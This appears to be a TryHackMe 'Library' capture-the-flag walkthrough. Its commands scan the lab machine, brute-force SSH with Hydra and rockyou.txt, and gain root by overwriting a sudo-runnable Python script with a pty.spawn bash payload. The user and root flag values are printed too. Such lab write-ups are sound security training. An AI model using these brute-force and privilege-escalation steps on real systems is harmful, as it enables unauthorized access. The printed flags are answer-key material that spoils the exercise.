Library - TryHackMe Walkthrough

Library - TryHackMe Walkthrough

Scan the machine:'

We first find the list of services that are running on the machine. We use the below Rustscan command to get the services along with versions of these services.

rustscan -a 10.10.54.138 -- -A         

There are two services, SSH and Apache web server, running on ports 22 and 80.

Enumerate web server:

"Accessing port 80 on a browser shows us the following webpage. We notice a possible username, 'meliodas,' mentioned on the webpage."

We employed Hydra for SSH brute-forcing using the username meliodas and rockyou.txt as the wordlist, successfully uncovering a valid password.

hydra -l meliodas -P /usr/share/wordlists/rockyou.txt ssh://10.10.54.138         

Gain initial access:

After using the discovered password to log into the machine, we located the user.txt file in the user's home directory. Additionally, we observed an intriguing Python script in the same directory.

user.txt

Ans. 6d488cbb3f111d135722c33cb635f4ec

Exploit privilege escalation:

Check for SUID binaries, writable configuration files, running services with high privileges, etc.

After using the discovered password to log into the machine, we located the user.txt file in the user's home directory. Additionally, we observed an intriguing Python script in the same directory.

There is a file named bak.py which can be run as root…but wait it cannot be edited by the user meliodas

So, let’s create a new file.

rm bak.py
touch bak.py
echo 'import pty;pty.spawn("/bin/bash")' > bak.py
sudo python /home/meliodas/bak.py        
cd /root 
cat root.txt        


root.txt

Ans. e8c8c6c256c35515d1d344ee0488c617


Thanks for reading :






要查看或添加评论,请登录

Santosh Kumar的更多文章

  • Offensive Security So_Simple CTF Walkthrough

    Offensive Security So_Simple CTF Walkthrough

    Vrijanandan Kumar SANTOSH KUSHWAHA We scan the site with nmap. This shows two open port.

    1 条评论
  • CyberSploit1 | OffSec Writeup

    CyberSploit1 | OffSec Writeup

    Cybersploit-1 is a popular lab from Offensive Security (OffSec) designed to help users improve their penetration…

  • Different CTF from TryHackMe

    Different CTF from TryHackMe

    A Hard THM Challenge. Steganography, Database Handling, FTP, WordPress CMS, and Brute-Forcing.

  • Shakabrah Walkthrough OffSec

    Shakabrah Walkthrough OffSec

    In this walkthrough, I'll take you through the steps to tackle the "Shakabrah" box from OffSec. This concise guide…

    1 条评论
  • TryHackMe- Kenobi-Walkthrough

    TryHackMe- Kenobi-Walkthrough

    SANTOSH KUSHWAHA Vrijanandan Kumar The "Kenobi" room on TryHackMe is an engaging challenge that guides you through the…

  • Wonderland -TryHackme Walkthrough

    Wonderland -TryHackme Walkthrough

    /SANTOSH KUSHWAHA Wonderland CTF link: TryHackMe | Wonderland The Wonderland challenge on TryHackMe is a cybersecurity…

  • Vulnversity — Walkthrough Tryhackme

    Vulnversity — Walkthrough Tryhackme

    Introduction "Vulnversity" is an introductory level room on TryHackMe that covers various penetration testing…

  • Poster TryHacMe Walkthrough

    Poster TryHacMe Walkthrough

    SANTOSH KUSHWAHA The "Poster" room focuses on web application security, specifically SQL injection, directory…

    1 条评论
  • Seppuku offsec Walkthrough

    Seppuku offsec Walkthrough

    SANTOSH KUMAR The Seppuku Offsec lab is a virtual penetration testing environment available on Vulnhub, designed to…

  • TryHackMe- Mr. Robot Walkthrough

    TryHackMe- Mr. Robot Walkthrough

    This Room Linux Basic: TryHackMe | Mr Robot CTF Reconnaissance I started by scanning the ports with Rustscan. We…

社区洞察